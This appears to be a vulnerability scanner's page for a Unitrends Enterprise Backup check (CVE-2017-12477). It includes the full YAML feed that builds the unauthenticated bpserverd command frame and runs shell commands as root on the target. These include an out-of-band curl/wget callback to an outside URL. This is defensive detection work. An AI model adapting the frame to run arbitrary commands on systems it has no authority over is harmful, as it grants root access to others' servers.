Unitrends — 1 vulnerability check
noctis ships 1 vulnerability check for Unitrends, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Unitrends UEB bpserverd authentication bypass remote command execution
| CVE | CVE-2017-12477 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | cinegrfx-lm, bpserverd, unknown |
| Detection | script, tcp_open, tcp_send, sleep, tcp_close, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/unitrends/CVE-2017-12477.yaml |
Connects to the Unitrends Enterprise Backup bpserverd service (TCP 1743), reads the back-channel port it announces, connects to that port and sends one unauthenticated command frame that makes the target's shell compute and print the sum of two random numbers chosen per scan. The finding is reported only when that sum, which is not in the request, comes back on either socket. When out-of-band detection is enabled and no output comes back, a second session asks the target to fetch the scanner's callback URL with curl or wget, and the callback confirms execution. Unitrends UEB before 10.0.0 runs such commands as root without authenticating the peer.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
…on the open socket - Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
s.foundfor^true$→ finding QoD 97: Unitrends UEB bpserverd authentication bypass remote command execution - … and 7 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-12477
- https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/misc/ueb9_bpserverd.rb
Feed source — tests/vulnerabilities/unitrends/CVE-2017-12477.yaml
# Unitrends Enterprise Backup (UEB) < 10.0.0 — bpserverd authentication bypass
# remote command execution as root (CVE-2017-12477).
#
# Ported from OpenVAS/Greenbone NVT 2017/unitrends/gb_unitrends_rce_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.140446, GPL-2.0-only); same protocol as the
# public Metasploit module exploit/linux/misc/ueb9_bpserverd.
#
# Protocol (xinetd bpserverd, TCP 1743):
# 1. on connect bpserverd sends a greeting containing "Connect" and the port
# of a "bpd" back channel (the NVT reads it at bytes 36..40, the Metasploit
# module at [-8..-3] — both point at the trailing number);
# 2. the client connects to that back port;
# 3. the client sends ONE command frame on the 1743 socket, no login:
# a5 52 00 2d | u32be total | u32be 1 | u32be 0x4c | u32be len(cmd)+3 |
# cmd | 00 00 00
# " #" ends the command so whatever bpserverd appends is a shell comment;
# 4. a vulnerable bpserverd runs the command as root; its output comes back
# on the back channel.
#
# INTRUSIVE — REAL, BENIGN EXPLOITATION. The command is
# echo NOCTIS$((A+B)) #
# with random A and B per scan: the target's shell computes A+B. Nothing is
# written (the NVT writes `id` output to a file under /tmp), nothing persists.
# The finding fires only on NOCTIS<A+B> as a standalone number — the sum is
# never in the request, so a service echoing the command back does not match.
# When OOB is enabled and no output came back (a blind target), a second
# session runs curl -s -m 5 <oob_url> || wget -q -T 5 -O- <oob_url> # and the
# callback is the proof (QoD 97 too).
#
# Better than the OpenVAS NVT:
# - output is read on BOTH sockets (back channel and 1743), and again after a
# 2 s wait (an engine read gives up after 500 ms without a first byte,
# #1336) — the NVT reads only the back channel, once;
# - the back port is the last number after "Connect" in the greeting, not a
# fixed offset, so a greeting of another length or a 4-digit port is still
# parsed; it must be 1..65535 or the feed stops (no connect to a garbage
# port);
# - the frame lengths are written as the full big-endian u32 fields, so a
# long command (OOB URL) is not truncated to one byte as in the NVT;
# - the blind case (no output returned) is covered by the OOB callback;
# - a computed value (shell arithmetic) instead of `id`, written to no file.
uid: 28c6f911-36b7-413b-b8cc-6ef68e36da0b
name: "Unitrends UEB bpserverd authentication bypass remote command execution"
description: |
Connects to the Unitrends Enterprise Backup bpserverd service (TCP 1743),
reads the back-channel port it announces, connects to that port and sends
one unauthenticated command frame that makes the target's shell compute and
print the sum of two random numbers chosen per scan. The finding is reported
only when that sum, which is not in the request, comes back on either socket.
When out-of-band detection is enabled and no output comes back, a second
session asks the target to fetch the scanner's callback URL with curl or
wget, and the callback confirms execution. Unitrends UEB before 10.0.0 runs
such commands as root without authenticating the peer.
cves: [CVE-2017-12477]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [unitrends, ueb, bpserverd, backup, rce, auth-bypass, intrusive, tcp-1743]
# nmap-services names TCP 1743 "cinegrfx-lm"; bpserverd has no nmap probe, so
# an identified-by-port or unidentified service is what a scan reports.
services: [cinegrfx-lm, bpserverd, unknown]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-12477"
- "https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/misc/ueb9_bpserverd.rb"
steps:
# 1 — the in-band command and its frame. A and B are random so the expected
# output differs on every scan and never appears in the frame.
- id: build-frame
action: script
store_as: x
code: |
let a = rand_int(1000, 9999);
let b = rand_int(1000, 9999);
let cmd = "echo NOCTIS$((" + a + "+" + b + ")) #";
let n = strlen(cmd);
#{
cmd: cmd,
sum: "" + (a + b),
frame: "a552002d" + p32be(n + 23) + p32be(1) + p32be(0x4c) + p32be(n + 3) + hexstr(cmd) + "000000"
}
- id: init-port
action: script
store_as: bp
code: |
#{ ok: false, port: "" }
- id: init-state
action: script
store_as: s
code: |
#{ found: false, text: "" }
# 2 — greeting on 1743, then the back port it announces.
- id: open-main
action: tcp_open
handle: main
port: "{{port}}"
read_banner: true
# Runs on unknown ports: a service that never greets costs the whole
# first-byte wait (timeout_secs), so keep it short.
timeout_secs: 3
store_as: c1
- id: parse-port
action: script
condition: "c1.connected == true"
store_as: bp
code: |
let ok = false;
let p = "";
if type_of(c1.banner) == "string" {
let m = eregmatch("(?s)Connect(?:.*[^0-9])?([0-9]{1,5})[^0-9]*$", c1.banner);
if m.len() == 2 {
let v = parse_int(m[1]);
if v >= 1 && v <= 65535 { ok = true; p = "" + v; }
}
}
#{ ok: ok, port: p }
- id: open-back
action: tcp_open
handle: back
condition: "bp.ok == true"
port: "{{bp.port}}"
timeout_secs: 10
store_as: c2
# 3 — ONE command frame, no login.
- id: send-cmd
action: tcp_send
handle: main
condition: "bp.ok == true && c2.connected == true"
send_hex: "{{x.frame}}"
timeout_secs: 10
store_as: r1
# Empty tcp_send = read only, nothing is sent on the back channel.
- id: read-back
action: tcp_send
handle: back
condition: "bp.ok == true && c2.connected == true"
timeout_secs: 10
store_as: r2
- id: scan-1
action: script
condition: "bp.ok == true && c2.connected == true"
store_as: s
code: |
let t = s.text;
if type_of(r1.response) == "string" { t += r1.response + "\n"; }
if type_of(r2.response) == "string" { t += r2.response + "\n"; }
#{ found: ereg("NOCTIS" + x.sum + "([^0-9]|$)", t), text: t }
# 4 — late output: wait, then read both sockets again (the command is not
# re-sent).
- id: wait-late
action: sleep
condition: "bp.ok == true && c2.connected == true && s.found == false"
duration_ms: 2000
- id: read-main-late
action: tcp_send
handle: main
condition: "bp.ok == true && c2.connected == true && s.found == false"
timeout_secs: 10
store_as: r3
- id: read-back-late
action: tcp_send
handle: back
condition: "bp.ok == true && c2.connected == true && s.found == false"
timeout_secs: 10
store_as: r4
- id: scan-2
action: script
condition: "bp.ok == true && c2.connected == true && s.found == false"
store_as: s
code: |
let t = s.text;
if type_of(r3.response) == "string" { t += r3.response + "\n"; }
if type_of(r4.response) == "string" { t += r4.response + "\n"; }
#{ found: ereg("NOCTIS" + x.sum + "([^0-9]|$)", t), text: t }
- id: close-main
action: tcp_close
handle: main
- id: close-back
action: tcp_close
handle: back
- id: reply-text
action: script
condition: "s.found == true"
store_as: out
code: |
let t = ereg_replace("[^ -~]+", " ", s.text);
if strlen(t) > 200 { t = substr(t, 0, 199); }
t
- id: check-inband
action: match
source: s.found
pattern: "^true$"
condition: "s.found == true"
on_match:
finding:
title: "Unitrends UEB bpserverd authentication bypass remote command execution"
description: "bpserverd ran an unauthenticated command: the target's shell computed and returned the per-scan sum {{x.sum}}, which is not in the request, confirming remote command execution as root (CVE-2017-12477)."
remediation: "Upgrade Unitrends Enterprise Backup to 10.0.0 or later and restrict access to TCP 1743 and the bpserverd back-channel ports to trusted backup hosts."
confidence_delta: 0.65
qod: 97
evidence: "command `{{x.cmd}}` sent to bpserverd on TCP {{port}} (back channel {{bp.port}}) returned NOCTIS{{x.sum}}; reply text: {{out}}"
stop: true
# 5 — blind target (no output returned) with OOB enabled: a second session
# that makes the target fetch the scanner's callback URL.
- id: build-oob
action: script
condition: "oob_enabled && s.found == false"
store_as: y
code: |
let cmd = "curl -s -m 5 " + oob_url + " || wget -q -T 5 -O- " + oob_url + " #";
let n = strlen(cmd);
#{ cmd: cmd, frame: "a552002d" + p32be(n + 23) + p32be(1) + p32be(0x4c) + p32be(n + 3) + hexstr(cmd) + "000000" }
- id: init-port-oob
action: script
condition: "oob_enabled && s.found == false"
store_as: bp2
code: |
#{ ok: false, port: "" }
- id: open-main-oob
action: tcp_open
handle: main2
condition: "oob_enabled && s.found == false"
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: c3
- id: parse-port-oob
action: script
condition: "oob_enabled && s.found == false && c3.connected == true"
store_as: bp2
code: |
let ok = false;
let p = "";
if type_of(c3.banner) == "string" {
let m = eregmatch("(?s)Connect(?:.*[^0-9])?([0-9]{1,5})[^0-9]*$", c3.banner);
if m.len() == 2 {
let v = parse_int(m[1]);
if v >= 1 && v <= 65535 { ok = true; p = "" + v; }
}
}
#{ ok: ok, port: p }
- id: open-back-oob
action: tcp_open
handle: back2
condition: "oob_enabled && s.found == false && bp2.ok == true"
port: "{{bp2.port}}"
timeout_secs: 10
store_as: c4
- id: send-cmd-oob
action: tcp_send
handle: main2
condition: "oob_enabled && s.found == false && bp2.ok == true && c4.connected == true"
send_hex: "{{y.frame}}"
timeout_secs: 10
store_as: r5
- id: wait-callback
action: wait_oob
condition: "oob_enabled && s.found == false && bp2.ok == true && c4.connected == true"
oob_timeout_secs: 15
store_as: oob_result
on_success:
finding:
title: "Unitrends UEB bpserverd authentication bypass remote command execution"
description: "bpserverd ran an unauthenticated command that made the target fetch the scanner's out-of-band callback URL with curl or wget; the callback was received, confirming remote command execution as root (CVE-2017-12477)."
remediation: "Upgrade Unitrends Enterprise Backup to 10.0.0 or later and restrict access to TCP 1743 and the bpserverd back-channel ports to trusted backup hosts."
confidence_delta: 0.65
qod: 97
evidence: "OOB callback received after sending `{{y.cmd}}` to bpserverd on TCP {{port}} (back channel {{bp2.port}})"
- id: close-main-oob
action: tcp_close
handle: main2
- id: close-back-oob
action: tcp_close
handle: back2